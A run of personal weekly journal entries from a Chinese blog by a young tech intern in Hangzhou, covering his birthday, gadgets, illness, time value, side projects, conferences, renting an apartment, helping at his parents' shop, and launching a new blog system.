阅读视图

发现新文章,点击刷新页面。

Weekly #34:22 岁,我要成为有趣的大人

本期延迟了好几周,因为这几周被迫回学校做了一件很没有意义的事情。结合最近的一些体会,我现在认为填志愿时选择 HNU 是我人生的重大错误决策之一。高考完填志愿时决策根据是「学校 > 专业 > 城市」,如果让我重新选择,我会按照「城市 > 学校 > 专业」的标准。

关于此,已经写了一篇文章,得等这件事结束之后再发布。

其实我也在思考博客周记 Weekly 的组织模式:

  • 以时间为标尺,每周固定发一篇(目前的期望模式):必然存在一些还未完全成熟的想法和文字「赶鸭子上架」的情况,文章内容质量可能不及预期。这可能会导致博客整体文章质量降低。这种文章组织形式也可能会使文章泛泛而谈、缺乏主题和深度。
  • 以内容为标尺,攒够内容再发一篇:容易带来压力和拖延,无法保证定时发布,甚至有可能陷入无限期停更。

目前开始对 Weekly 的暂行调整是:不期望严格每周发布,如遇特别事件可能 gap 一周。期望全年 gap 不超过 5 周。

🎈 22 岁,我要成为有趣的大人

我 22 岁了。22 岁,正是该谈论梦想的年纪。

我认为随着年龄的增长,很多人会逐渐失去青春的热情,沦为平庸,成为无聊的人。因此,我的愿望之一是:我要成为有趣的大人

<iframe allow="autoplay *; encrypted-media *;" frameborder="0" height="150" style="width:100%;max-width:660px;overflow:hidden;background:transparent;" sandbox="allow-forms allow-popups allow-same-origin allow-scripts allow-storage-access-by-user-activation allow-top-navigation-by-user-activation" src="https://embed.music.apple.com/us/album/22-taylors-version/1595423133?i=1595423261"></iframe>

☁️ There's something in the Air

新购买了 M4 MacBook Air 天蓝色!

今年 Apple 新推出的天蓝色,真的非常漂亮,我在 Apple Store 看到的第一眼就爱不释手。到手后,这个外观效果依然超出预期,在不同光线下会展现出不一样的效果。充分展现了 Apple 工业设计的实力!

我们大概永远无法想象到 2007 年的那场发布会,乔布斯从信封里拿出 MacBook Air 时,给世界带来的震撼。「There's something in the Air」,这场发布会也成了改变世界的一场发布会之一。

如今,乔布斯离开十多年了,现在的 Apple,似乎已经越来越衰落。这次 M4 MacBook Air 以及 iPad Air 产品线的更新,库克在推特上也「碰瓷」了这句标语:「There's something in the Air」。然而由于新 iPad Air 远不及预期,遭受了不少骂声。

虽然 Apple 似乎「日薄西山」,但目前还没有任何一个操作系统,设计与交互能与 Apple 的操作系统比肩。一个朋友认识一些在华为的设计师,他们整个部门都有一种不成文的共识:我们就是在抄 Apple,Apple 出什么我们就抄什么。其实可以有这种感觉:几乎任何国产手机厂商都在抄 Apple 的设计……

有时候会想,我们能用上 Apple 这样的产品,并不是历史的必然。如果世界上没有乔布斯,我们如今能选择的操作系统只有 Windows、Linux、Android 这种了。世界有乔布斯和 Apple,是一种幸运。

《浪潮之巅》里写道,科技行业存在着某种周期,技术的革命总伴随着一批公司的衰落和另一批公司的兴起。Apple 或许在走下坡路了,但目前似乎还没有设计能达到 Apple 水准的下一代人机交互终端出现。希望我们不会沦落到有朝一日只能用 Windows 这样的操作系统。

😷 生病有感

清明节放假三天,在放假前一天晚上开始身体不舒服,结果患了比较严重的感冒,直到假期最后一天晚上才有所恢复。因此,我相当于完美错过了整个假期……

生病的感觉太难受了。这种难受并不仅仅在于身体的难受,因为我理智上知道喉咙疼、头痛、咳嗽都只是暂时的,熬一熬就能过去;更难受的是认识到这一事实:属于我自己的宝贵的时光正在不断溜走,而我只能躺在床上,什么都做不了。本来这段时光应该用于学习、思考、创造,用来做其他更有意义的事情的。生病让自己的时间完全失去了掌控。

生病给人带来的最大折磨是「主观能动性」的丧失

按照上一期 Weekly 的时薪计算方法,本次生病的间接经济损失达到了至少【数据删除】元!😱

正好最近又重读了《献给阿尔吉侬的花束》,结合这次生病的体验,我再次有这种感觉:

精力充沛的身体(不生病),神志清醒的头脑(智力处于正常水平),是属于我们最大的财富

🌟 Bookmarks

Articles:

Resources:

Weekly #33:我们每小时的价值

🕙 我们每小时的价值

我们每小时的价值都是可以计算的,但我们经常意识不到这一点。

根据我们在公司的薪资,能够算出公司发放给我们的「时薪」;而我们每小时真正能够产生的价值,肯定大于这个时薪,这样公司才不会亏本。这样,能够大致估算我们每小时的价值。

对于时间管理,这是一个截然不同的视角。如果我们能定好每小时的价值,就能决定哪些事情我们值得去做。

写到这里,仔细回想了一下,虽然近期才体会到这个道理,但其实这个观点在很早以前看的《纳瓦尔宝典》里就出现过了,只是当时还在学校,没能自己创造价值。果然,看过的书都是埋在心里的一颗种子,很神奇。

给自己的时间设定价格,用时薪计算时间价值。如果用花钱的方式节省的时间价值更高,那就花钱,不要犹豫。要想真的赚到钱,先要相信你自己很值钱。

没有人会比你更看重自己。你要做的就是给自己设定一个极高的时薪,并坚持执行。即使在我年轻的时候,我也认为自己的时间比市场的定价更值钱,并一直遵循这个思路。

在做决策时,你要把时间作为一个考虑因素。做这件事需要多长时间?假设一个东西需要花费你一小时车程才能拿到,如果你给自己设定的时薪是 100 美元,那么这一趟基本上等于花掉 100 美元,你还要亲自去拿吗?

——《纳瓦尔宝典》

🤖 订阅 Cursor Pro

本周订阅了 Cursor Pro,价格是 $20 每月。其实这个价格并不贵,如果按照以上的「时薪」视角计算,也就是 1~2 小时产生的价值。反思了一下,我之前之所以觉得贵,是因为:1)软件付费观念没有形成;2)作为学生没有收入。

订阅制的生产工具还能够时刻提醒你,你的时间的价值。如果白嫖,你会感觉无论用不用都一样;但订阅后就会感觉到,如果不多使用,就是一种浪费。😂

此外,我觉得选择订阅并长期使用一个软件,也像一种「投资」,因为迁移到别的软件需要成本,需要重新学习各种概念和使用习惯。目前 AI IDE 里,Windsurf、Trae 都是不错的选择,但最终我选择 Cursor 的原因是:Notion 前首席设计师 Ryo Lu 加入了 Cursor。Notion 是多么优雅的一个产品,大家有目共睹。在未来,Cursor 的设计和体验也一定会得到保障。

📄 Read.cv 复刻版

Read.cv 被 Perplexity 收购了。收购的方式很奇葩。Perplexity 其实是想要 Read.cv 团队的人加入 Perplexity,于是收购了 Read.cv,然后决定把这个业务关停!

这么漂亮的网站被关停太可惜了。于是我像素级复刻了一下:wutian.cv。是基于 Astro.js 的,还没特别完善,之后会单独发一篇博客介绍一下并开源。

💡 Misc Ideas

  • 体验了华为 Pad,不支持 App 内五指聚拢返回桌面,相比 iPad,这就很不符合直觉,很不「Native」。类似地,许多 Web 应用给人不 Native 的感觉,也是由于它们支持的手势太受限。Web API 只能是 Native API 的子集。
  • 不同岗位的设置,除了分工以外,还有分担责任的功能。产品经理岗位就能够分担产品决策的责任。作为研发,我对体验细节或者逻辑上有任何不确定的,只需要和产品经理确认,而不用自己承担决策的责任。
  • AI 能改变我们的阅读方式吗?或许对于非虚构类书籍,AI 能提供一种比阅读更高效的信息获取方式。但目前这种形态似乎还没出现。试用了 3MinTop,说实话体验难以令人满意,比不上阅读。
  • 我很讨厌各种低代码、无代码平台,因为它们:1)使用复杂度已经高于写代码了;2)表达能力比不上代码。此处,低代码平台也可以泛指 Microsoft PowerPoint 这种工具。

🌟 Bookmarks

  • 刘小排的采访视频:一个人年入千万,AI 创业的十个步骤:「我特别爽,就像个孩子一样迫不及待地展示给你看,阿拉伯的用户啊,外国的博主啊,甚至台湾博主都在介绍我和全球顶级 AI 画图工具放在一起,他们不知道背后是个普通人。」
  • Magic UI:很酷的组件库。原来之前看到许多炫酷的 Landing Page 设计都能在这里面找到。可以与 Shadcn UI 搭配使用。
  • yl8976/Email-to-RSS.:Self-hosted 版本的 kill-the-newsletter。可以直接通过 Cloudflare Workers 这类 Serverless 方式部署。

下周见!

Weekly #32:「下班时间」比「上班时间」更重要

🌇 封面图:D2 终端技术大会

D2 终端技术大会

本周末在阿里总部参加了 D2 终端技术大会。

🛏️ 早睡早起计划

在《为什么精英都是时间控》里,作者提到:对我们这种打工人来说,让属于自己的时间延长的方法之一是:早睡早起,将晚上的时间「转移」到早上。因为下班后的时间里往往精力已经被耗尽,无法做自己的事情;而上午上班前的时间则最为精力充沛。

去年春天,在学校准备春招找实习的时候,我也尝试过这种作息:11:00 睡觉,早上 6:00 至 6:30 起床。那段时光天气渐渐转暖,每天都有很好的太阳。那段时光是我记忆中大学四年里最为充实的时光。Weekly 的第零期也大致开始于那个时候。虽然当时每天都在图书馆自习(并非处于上班状态),但能明显感觉到这样的作息让一天的时间都「延长」了。

后来到了秋天,拿了 offer 之后,由于频繁参加晚上的社交活动,经常到半夜;签了三方后没有进一步的目标,比较懈怠;天气渐冷,起床太困难……综合各种因素,放弃了这样的作息。(连 Weekly 也连同着一起被放弃了)

现在,我所在的公司上班时间是上午 10:30 至晚上 9:30 左右。这正适合这种早睡早起的作息!如果能做到早起,早上会有很多属于自己的时间,其实并不亚于 6:00 下班。

其实,这个行动里「早睡」比「早起」更难。我的一些 practice 包括:

  • 睡前不要看手机了。Apple 生态的 Screen Time 设置里包含 Downtime 功能,这一功能允许设置每天固定时段为 Downtime,例如晚上 11:00 至早上 5:00。在这个时段内,设备里的所有 App 都处于「超过使用时间限制」的状态,并且状态在 iPhone、iPad、MacBook 同步。这可以有效避免睡前电子设备的刺激。
  • 把手机放在离床比较远的地方充电。这样起床歌时就不得不离开被窝,而不是在床上刷手机,😂

不过,这种作息最大的问题就如前所述:不方便参加夜间社交活动。和朋友出去喝酒 K 歌到 12:00 之后是十分正常的,然而却不得不打乱我的早睡计划。

💼「下班时间」比「上班时间」更重要

你的早九晚五(上班时间)对未来的影响,远远没有你的晚五早九(下班时间)重要。

下班后属于自己的时光,比上班时间更重要。最近认识了几个和我一样在大厂打工的人,再次深深体会到这一点。

  • 上周提到在 Let's Vision 居然有好多同在大厂打工的 booth 和 speaker,纯粹在业余时间靠着满腔热爱,做了自己的 side project,来到这个活动的舞台。甚至 Let's Vision 大会主席张思琦也是大厂打工人,在业余时间组织 Let's Vision 活动!🤯
  • 本周参加了 D2 认识的某位大佬,也在大厂打工,九点下班之后做 Web3 副业(不是投资炒币,而是做项目),目前副业收入已达到主业一半以上!🤯

公司里的工作占据了我们每工作日至少 8 小时(加上用餐和午休,我目前是 11 小时),但这却不是真正属于我们的事业,我们终究大概率是作为一颗螺丝钉而存在的。大多数大厂打工人也怀着「离开无非是早或晚的问题」这样的觉悟。当然,这也是正常的,就如《远见》中提到:「一般人在自己的职业生涯中会经历至少 12~15 份不同的工作。」

我们必须用自己的时间,开创属于自己的事业。不如现在就开始。

想起《黑客与画家》里的这一段:

黑客如何才能做自己喜欢的事情?我认为这个问题的解决方法是一个几乎所有创作者都知道的方法:找一份养家糊口的「白天工作」(day job)。这个词是从音乐家身上来的,他们晚上表演音乐,所以白天可以找一份其他工作。更一般地说,「白天工作」的意思是,你有一份为了赚钱的工作,还有一份为了爱好的工作。

几乎所有的创作者在职业生涯的早期都有一份「白天工作」。画家和作家尤其显著。如果幸运的话,你能找到一份与你的「真正工作」非常相关的「白天工作」。音乐家似乎常常是在唱片行工作。同样地,钻研某种编程语言或操作系统的黑客,很可能会得到一份使用这些工具的「白天工作」。

🎵《世界赠与我的》—— 王菲

<iframe allow="autoplay *; encrypted-media *;" frameborder="0" height="150" style="width:100%;max-width:660px;overflow:hidden;background:transparent;" sandbox="allow-forms allow-popups allow-same-origin allow-scripts allow-storage-access-by-user-activation allow-top-navigation-by-user-activation" src="https://embed.music.apple.com/cn/album/%E4%B8%96%E7%95%8C%E8%B5%A0%E4%BA%88%E6%88%91%E7%9A%84/1791923799?i=1791923800"></iframe>

🌟 Bookmarks

Weekly #31:Let's Vision 游记

本周末去上海参加了 Let's Vision。感谢 @甜檸 Citron 送的价值 ¥699 的 Basic 赠票!

认识了好多新朋友。也见了好多 AdventureX 的老朋友。我认为我的社交能力再次升级了!

和不同背景的人交流,真的是非常快乐的事情。了解别人在做的事情,别人的热爱所在、职业生涯、人生选择,不仅能够拓宽我们认知的边界,更能让我感觉到:在逃逸平庸的路上,我们都不孤单。

最让我惊讶的是,居然有几个和我在同一大厂工作的人,也作为 booth 甚至 speaker 来参展。原来,九点下班的作息,也可以做出自己的项目!

🌆 封面图:滴水湖的烟花

滴水湖的烟花

非常巧合的是,活动的 day 1 周六晚,在会场旁的滴水湖就有烟花秀。

💡 让我印象深刻的 booth

活动安排得太紧凑了,讲座、workshop、展会同时进行,这导致我有好多 booth 都没来得及逛。有趣的和有创意的项目太多了。下面是几个我尤其印象深刻的:

Story:他们不仅是一个基于 Vision Pro 的应用,更是一个「MR 会展解决方案」。在现场体验的时候就能感觉到,他们整个体验流程都是为会展的模式而设计的:排队入场时发放一次性眼罩垫(防止 Vision Pro 设备与皮肤直接接触);会展区域的流程都经过精心设计,当我结束某个环节需要走到下个位置的时候,往往发现下个位置的人也刚刚结束 TA 的环节离开。如此让这些设备的利用效率达到了最高。以前认为 Vision Pro 作为个人设备太贵,用户太少,在这个设备上很难有很大的机会;然而 Story 的这种方案,将 Vision Pro 视为公共设备,解决了这个问题。

Bonjour:在 AdventureX 就见过的项目,基于 NFC 的个人名片(以及创造者社区)。这次在现场所有参会者都附送了 Let's Vision 限定版本的 Bonjour Card。不仅如此,他们还制作了一个可互动的麦金塔模型,在 Bonjour 摊位上展示!详情可查看:我们献上了一场艺术… - 小红书不得不佩服 Bonjour 团队的创造力。(欢迎查看我的 Bonjour Profile

还体验了好多有趣的项目,记录梦境的《Dreamoo》、充分利用灵动岛的《锁屏启动》、将 GTD 和文创结合的《点点记》……大家都太有创意、太有创造力了。

我真希望明年我也能有自己的项目来参展!

🤔 参后感

这次 Let's Vision 结束之后,我的感受和去年参加完 AdventureX 的感受非常类似:

打工人参加完 AdventureX、Let's Vision 这样的活动之后,都会感觉后劲好大。

见识了充满激情的人们和纯粹热爱驱动的事业,就会再也不甘心回到这种平庸无聊的上班生活里了。

强烈的感受都是对比中产生的。从 Let's Vision 参会者中感受到的创造的氛围,和大厂有些死气沉沉的氛围,差异还是太大了。

人无法想象超越自己认知的东西,就如在参加这次活动之前,我没法想象在空间计算领域有这么多的机会,有这么大的空间留给我们去创造;我也没法想象和我一样九点下班的人也可以做出自己的 side project。这正是这种活动的意义之一:拓宽我们对职业生涯、对未来的认知边界,让我们看到更多选择的机会。

下周见。

Weekly #30:生活在钢铁丛林

<!-- more -->

虽然我每周的至少 50 小时都献给了公司,但为了避免一些麻烦,也由于一些相关规定,我在这里不能写很多在公司里的内容……

🌆 封面图:西湖上

封面图:西湖上

🏙️ 生活在钢铁丛林

我所居住的余杭区未来科技城,显然是近几年高速发展建设起来的,遍地都是高楼大厦,附近连一处能让人喘息的自然景观都找不到;无论是餐馆还是外卖,几乎只能看到大型连锁品牌(而且都很贵!);属于「杭州」的那种东方人文气质,在这里并不存在。

这很像深圳带给我的感觉。去深圳的时候,那边的朋友都说:「深圳没什么好玩的。深圳的旅游景点只有购物商场。」

周末去西湖边走了走。我真的很喜欢西湖,因为它是与城市融合得十分完美的自然景观。在高耸入云的钢筋混凝土大厦之间,人总是很紧张;在自然的环境里,人才能放松下来。

然而,从这里到西湖坐地铁要将近一小时。一小时的时间,都够从杭州西站出发到上海,或者从深圳出发到香港了!说起「在杭州工作」,人们往往会想到西湖。看来这个印象是错误的……

🎸「无弦吉他」LiberLive C1 体验

本周购买了「LiberLive C1 无弦吉他」。

很小的时候学过吉他,后来高考完的暑假重新学了一下,到大学里几年没碰,技术再次荒废了。现在,九点半下班的我,自然是更没有时间(或者更确切地说,是不愿意花时间)重新捡起吉他去练习了。F 和弦的大横按也很劝退我。

但是我真的很喜欢弹唱的感觉。有没有这样一种不用花时间练习就能快速上手的弹唱乐器呢?解决方案就是这个产品:LiberLive C1 无弦吉他!

LiberLive C1 无弦吉他

如图所示,这是一把「无弦吉他」,上半部分是一些按钮,每个按钮对应一种和弦;下半部分则是两个拨片,每个对应一种节奏型。这些都能通过 app 来配置。严格来说,这不是吉他,而是一个音乐合成器。😂

之前在参加 AdventureX 时,这个产品的公司 XBotPark 有来参展,我还去听过他们的 workshop。只能说这真的是一个非常切入我的痛点的产品:零门槛入门,无需练习,让我得到弹唱的错觉。

电子合成音乐肯定不如真正的吉他好听,但对于普通日常的弹唱来说无伤大雅,我根本不太听不出区别。虽然这个价格也确实偏高,但你会发现在「无需练习上手弹唱」的这个产品形态上,我们其实没得选……

📚 本周在读:《控糖革命》

很多时候我们感觉自己「状态不佳」,包括感觉困倦、劳累、烦躁、无法集中注意力,很可能都和一些人体的生理因素有关。让我越来越意识到这个问题的两本书,一本是《我们为什么要睡觉》,有关睡眠;一本是这本《控糖革命》,有关饮食。

说实话,我之前从未注意过我的饮食,一直是喜欢吃什么就吃什么。可能是由于吃不胖的基因,饮食从未给我带来过很大的困扰。然而,本书提出的理论则让我重新审视饮食观念:原来人在平常的精神状态、心情等各种方面,都会受到「葡萄糖水平峰值」的影响,而本书的核心目的就是控制这一峰值。

在卧室跳舞时,脚碰到了梳妆台的一角,这是我们能够瞬间感知到的,因为脚会很疼(我有一次就这样弄伤了脚趾)。尽管我们会对脚进行冰敷,脚依然可能会红肿,以至我们都穿不上平时穿的鞋子。这很可能让我们心情不好。如果同事或者家人问我们:「怎么了?」我们很容易就能解释清楚:「今天早晨我磕到脚了,所以心情不好。」两者间的联系一目了然。

但是,当被问到食物是如何影响我们的时候,我们却说不清其中的关联。我们并不能立刻感受到早餐后的葡萄糖峰值给自己带来的伤害。如果吃了一碗麦片粥后,我们会立刻心慌难受、趴在桌子上睡着,那么我们肯定能够知道其中的联系。但是,由于新陈代谢需要几个小时,会随时间的推移发生多种变化,并会与一天之中发生的其他事情混在一起,那么至少在掌握技术要领之前,我们还是需要谨慎观察和思考才能将这些点连接起来。

本书提出了 10 条切实可行的 tips,总结起来有如下几个:

  1. 饭前可以喝点醋。这是由于醋能降低淀粉酶活性,从而降低葡萄糖产生速率。
  2. 在吃饭时,按照先吃纤维(蔬菜),再吃蛋白质、脂肪,最后吃淀粉、糖类的顺序进食。原因之一是纤维素能起到缓释作用,同样能降低葡萄糖产生速率。
  3. 饭后进行适量的运动。利于葡萄糖转为 ATP。

🌟 Bookmarks

最近越来越有这样一种感觉:我们每时每刻都在见证历史。无论是科技领域 ChatGPT、DeepSeek 的横空出世,还是经济、政治领域逐渐发生的巨变,都将时代的浪潮具像化地展现在我们面前。

收藏了好多 ByteTech 的文章,可惜不能发出来 👀。

下周见!

Weekly #29:在大厂实习的 Day 1

本周正式来到了某互联网大厂实习。这是秋招已经签订了三方协议的公司,我进行预计三个月的提前实习。

上个暑假,我也在杭州的另一家大厂(下称「前厂」)实习。所以我不断将这家公司与前厂进行比较。综合结论是:在我看来,这家公司的许多方面都比前厂强太多了……

这家公司才是我心目中领先的互联网科技企业的样子。(工作时长除外)

  • 在前厂实习的时候,几乎所有文档都是默认对实习生不开放的,要申请权限层层审批;而在这里默认所有文档都是开放的,只有少数需要申请权限。对刚入职的实习生来说,这太友好了!
  • 前厂严禁使用任何外部 AI 模型和工具;而这里不仅不管这些,甚至大家都紧跟 AI 潮流,广泛在业务开发里运用 AI。我 mt 日常用的就是 Cursor。
  • 前厂文档维护实在不太好;相比之下,该厂的几乎一切技术、方案等都有详细且高质量的文档,极大降低了新人的学习成本。
  • 前厂(可能是我在的部门)没有测试,几乎没有质量管理。代码仓库极其混乱。由于做的是 2B 产品,也基本不 care 用户体验。相比之下,这里进行的各种质量管控、工程治理、代码防劣化、用户体验专项,才是互联网企业该有的样子。
  • 还有不少震撼我的地方,例如几乎一切都有中英双语、强大完善的基建、高效的开会方式……

相比前厂,我感觉这里的人都更加优秀。

当然,在一个大家都更优秀的环境里,自然压力也会更大。实习阶段感受还不深,等正式入职了肯定会有更强烈的感触。

不过,从工作时长上来看,该厂的强度还是比较大的……10:30 上班,9:30 下班。如果按照 8 小时睡眠计算,每天下班能自由支配的时间只有 5 小时。这给我们生活上的时间管理带来了挑战……

下周见。

Weekly #28:在杭州,寻找我想要的生活

本周又回到了杭州,忙着租房,准备开启我的实习生活了。

🌇 封面图:杭州东站

封面图:杭州东站

我想要的生活,一定可以在这座城市里找到。

🏠 我的租房方案与踩坑

我的租房方案与踩坑

在杭州让我觉得很奇怪的一点是:未来科技城附近,街头路口有很多大妈,坐在挂着「房屋中介」的电动车上,看见我拉着行李就来问我要不要租房。对于这种无任何资质的中介在街上拉客,我是非常反感的。

未来科技城附近的房源,和在长沙大学城相比,简直就是「一个城市一个农村」。这里有大量高耸入云的公寓楼、商住两用楼,而像长沙天马小区里那样老小区里的隔断房却很少见到。感觉这附近都是《都市天际线》里的「高密度住宅区」,找不到像长沙乐尔乐那样一瓶东方树叶 3.8 元的平价大型超市了。或许这就是大城市吧!

最后通过贝壳租到了满意的房子。这套房子最打动我的一点是这个玻璃窗的夜景!

文一西路夜景

🎵 《漂洋过海来看你》 —— 李宗盛

<iframe allow="autoplay *; encrypted-media *;" frameborder="0" height="150" style="width:100%;max-width:660px;overflow:hidden;background:transparent;" sandbox="allow-forms allow-popups allow-same-origin allow-scripts allow-storage-access-by-user-activation allow-top-navigation-by-user-activation" src="https://embed.music.apple.com/cn/album/%E9%A3%98%E6%B4%8B%E8%BF%87%E6%B5%B7%E6%9D%A5%E7%9C%8B%E4%BD%A0-live/1173734634?i=1173734649"></iframe>

陌生的城市啊,熟悉的角落裡

也曾彼此安慰,也曾相擁嘆息

不管將會面對什麼樣的結局

🌟 Bookmarks

Articles:

Projects:

我的租房方案与踩坑

最近来到杭州,又面临租房的问题。这是我第三次租房了,从啥都不懂的小白,到能够和中介有条不紊地斡旋,这都是一次次租房踩坑「沉淀」出来的。

整体思路

我倾向于通过中介租房。相比直接和无数的房东点对点对接,中介为我提供的价值就是免去和各种各样的房东约看房、谈价格的时间精力成本,极大地提高了看房效率。在一个下午之内,贝壳和自如的工作人员带我一共看了十多套房。

既然有了中介,我们也无需在找房软件上花大量时间搜集信息。直接和中介说明租房预算、距离等各种要求,让中介推荐几套合适的房源,再在平台上预览即可。对于价格和租期,也可以委托中介去和房东谈。

总体原则是:少花时间,将耗费精力的环节「外包」出去。

选定租房渠道

打开 App Store 搜索租房,你会发现居然有如此多耳熟能详的租房软件。

  • 贝壳找房
  • 链家
  • 自如
  • 58 同城
  • 安居客

其中贝壳和链家是一个公司的;58 和安居客也是一个公司的。你会发现他们租房页面的 UI 都一模一样……

首先要避雷的是 58 和安居客!这类平台本质上算是「信息发布平台」,即 58 安居客本身并不作为中介。因此,有大量中介和引流贴,标着极低的价格,具体聊了之后才会告诉你真实价格。这样找房效率是极低的,和直接去豆瓣、小红书等平台找房东没什么区别。

自如平台只包含自如自己的房源。自如的管家非常积极,我只是私聊问了某个房源的情况,他立即打电话联系约我看房……要注意的是虽然装修风格基本统一,但大件电器基本是保留房东的。我连看了三套都是空调五级能耗,管家都有点无语了……

贝壳和链家是一家,链家据说以线下门店为主,所以我用的是贝壳。贝壳本身就是中介平台,所以在上面联系任何平台经纪人都行,都是贝壳公司的员工,有较为标准化的服务。贝壳房源也非常丰富,上面甚至有自如的房源。贝壳 app 的 VR 看房功能很不错,基本线上就能对房子有个实地了解。

除了作为中介一次性收取中介费,贝壳也在力推「省心租」的模式,即贝壳托管房屋,加收服务费提供维修等服务,有点像自如。这个看个人喜好可以选择。

现场看房

在看房之前,一定要列出关于房屋需求的 checklist。

以下是《Weekly #16:年轻人的第二次租房》的升级版。

  • 装修时间。就怕有甲醛!
  • 租期。有的房屋由于房东要求,租不满一年;有的必须一年起租。这些都要问清楚。
  • 空调。五级能耗的杂牌空调直接枪毙。
  • 洗衣机。杂牌也慎租。最好有烘干功能。我就很幸运地租到了非常高端的洗烘一体机。
  • 窗户采光:窗户朝南全天有阳光;朝北全天阴冷;朝西下午有阳光;朝东上午有阳光。如果住的是没有阳台的公寓楼,且洗衣机没有烘干功能,则朝北的房屋衣服很难晾干。之前都没太注意过这个问题。

入住前准备

除了常规的保洁,有三个电器是我必须约家电上门清洗的:

  1. 洗衣机。
  2. 空调。
  3. 冰箱。

你永远不知道这些家用电器有多脏……

家电上门清洗的平台,我用得比较多的是啄木鸟,其他平台如京东、58 到家、自如等也是不错的选择。

很奇怪的一点是,无论是 B 站还是下红书,关于「家电上门清洗」这个服务较为全面的对比测评都几乎没有。有的只是许多关于某个平台服务体验不好的个例,这些帖子都较为情绪化(例:「避雷 XX 平台!」),不太足以作为参考。所以能否得到较好的服务,还是挺看运气的。

开启想要的生活

在大三第一次租房之后,我的感受和 @Ripple 一样:非常后悔,后悔为什么没有早一点出来租房。独居真的能够显著提高生活质量。

更重要的是,只有独居的状态下,我们才能真正独立,能够决定我们住所的一切,能够追求我们想要的生活。

祝我们每个人都能有自己想要的生活。

Weekly #27:春节帮父母打工随感

本周过于忙碌,本期 Weekly 内容不多。有些话题留给下一期了。

🌇 封面图:除夕的水亭街

除夕的水亭街

除夕的水亭街,已经准备好进入新的一年!

🧧 春节帮父母打工随感

本周在父母的店里帮忙。没想到一个开在景区里的旅游文创店铺,能在春节期间收获如此巨大的客流量,我们的营业额轻松打破了纪录。

但也的确很累,几乎每晚十一点过后才能下班。(这导致本周几乎没时间写代码和阅读!)

说实话,这样的工作是我非常不喜欢的。我发现我在如此嘈杂的环境中,会感觉到严重不适。由于客流量巨大,自然会遇见各种各样的顾客。喜欢大吼大叫的人,特别贪小便宜的人,丝毫不懂礼貌的人,愚蠢而难以沟通的人……和这些人的交流给我带来很大的精神压力。

然而,我觉得父母则更加辛苦。如此源源不断的客流之中,他们要负责收银、整理货架、维持秩序,连吃饭都只能在收银台快速解决。等人流散去,大概到了夜晚十一点,还要去搬货、添货……虽然能做出很高的营业额,但这每一分钱背后都是他们勤劳的付出。

我一定要努力工作,让父母以后免于承受如此之劳累。

💦 一次有惊无险的服务器封禁经历

腾讯云违规通知邮件截图

看到这封邮件标题的时候,内心一凉:坏了!

由于国内特殊的审查环境,各大云厂商的封禁向来如此:毫无预兆,通知你的那一刻,你的服务便是已经被封禁的状态。这会带来无法避免的服务无法访问时间。

看到违规 URL 我基本就明白是怎么回事了。之前托管的 Calibre-web 存放了我的所有电子书,正是在 books 子域名下。或许是由于托管电子书的版权问题,或是托管了某些政治敏感书籍的问题,被腾讯云的某种检测系统识别到,从而触发了封禁。

幸亏这次封禁是被自动检测到的,我将 Calibre-web 服务关闭后提交解封申请,立即自动解封了(我还担心春节期间人工审核人员不上班),有惊无险。

这带来的教训是:在国内服务器托管的任何服务,只要暴露到公网,一定要仔细审查内容。即使是只给自己使用……

本周太忙了,没空整理 bookmarks。

🐍 蛇年快乐。下周见。

Weekly #26:全新博客系统 Nexus 上线!

✨ 全新博客系统 Nexus 上线!

或许正在看这篇博客的老读者已经注意到了:我的新版博客系统终于上线啦!

最近在读《Nexus》(大陆译《智人之上》,台译《连结》),本书的观点之一是:信息将人大规模地连接在一起。受此启发,我将我的新版博客系统命名为 Nexus。

Nexus 有两大愿景:

  1. 打造「个人 CMS」。 我们每天都在各种社交平台创作,但平台可能变质,内容可能被审查,一切我们的创作都不属于我们。因此,这些创作值得一个更稳定的去处。解决方案是自建的「个人 CMS」,即内容管理系统,这里可以汇集所有我的写作、技术分享、项目等等,所有我创作的内容有一个安全的家。
  2. 连结更多人。 我的博客已经运行六年了,这真是一段神奇的经历,通过博客认识了很多有意思的人。但之前的博客以静态的文章展示为主,只有在评论区有互动的机会。在 Nexus,基于 Next.js 和 Supabase,我希望给博客增添更多互动功能,创造更多连接他人的机会。(现在,你已经可以通过 GitHub 或 Google 登录!)

除此之外,Nexus 全面支持多语言国际化,目前支持简繁中文和英语。

目前貌似还有很多 bug,还未完善,暂不开源。😁

目前有如下几个优先级较高的问题:

  • 支持通过 GitHub、Google 登录,但流程有些慢,还有概率超时。这是由于服务器在境内,套了一层代理访问 GitHub 和 Google。
  • 支持 RSS 订阅,但订阅后文章的日期时间显示是错误的。这是由于上一个博客系统 Daydreamer 开发时没有注意时区问题,导致在从 Typecho 切换到 Daydreamer 后,发布的文章时间全部是错误的。这个问题得等我有空修复数据。
  • 部分以前的文章 Markdown 解析可能有问题,尤其是全角字符加粗问题。这是由于更改了 Markdown 解析器,我正在手动修改。这个问题真的很恼人,之后有机会详述……

如果你还遇到了什么 bug,欢迎找我反馈~

🤷 毫无意义的工作

我父母在某旅游景区经营一家文创店。寒假回家,我也到店里帮忙。许多文创产品在售卖前需要我们进行简单的加工,例如将冰箱贴摆放进透明盒子里、将金属书签装进礼盒对应的卡口。这都需要大量简单重复的劳动。我认为这就是典型的「毫无意义的工作」。

工作的本质(或者说定义)是「通过劳动创造价值」。劳动收益或劳动报酬,是这一过程的必然结果;但工作中的成长(个人认知、技术水平、经验积累等的提高),并不是这一过程的必然结果。

例如,上述简单重复的劳动,能够创造价值,但显然无法带来任何方面的成长。

而工作是有代价的。工作的过程可以看成一种交换:付出的是时间和精力,换得的是劳动报酬和个人成长。年轻时,时间和精力是我们最宝贵的资产;然而随着年龄的增长,能付出的时间和精力会越来越少。这时候如果没有得到足够的认知、能力等积累,劳动产生的收益也将迅速降低。

因此,在职业生涯中我们也应该采取这样的视角:如果一份工作迫使我们每天进行简单重复劳动,而无法带来任何成长,或许就该考虑其他工作机会了。

我联想到《上海交通大学生存手册》中这几段:

一般来说,一项任务的价值,取决于它在时间尺度上的作用效率。花同样的功夫,我们应该尽量多做那些对整个人生都产生正面影响的事情,少做对中期的未来产生影响的事情,不做那些只对近期产生影响的事情。当然,产生负面影响的事是最应该避免的。从这个意义上说,花适当的时间锻炼身体能让我们终身受益,值得做;但是即便只花同样时间,我们也不应该打游戏,因为那只能获得转瞬即逝的空虚的精神愉悦。当然,适当放松以保证良好精神状态是必不可少的,否则各方面的压力可能导致你不得不多花时间调整精神状态。

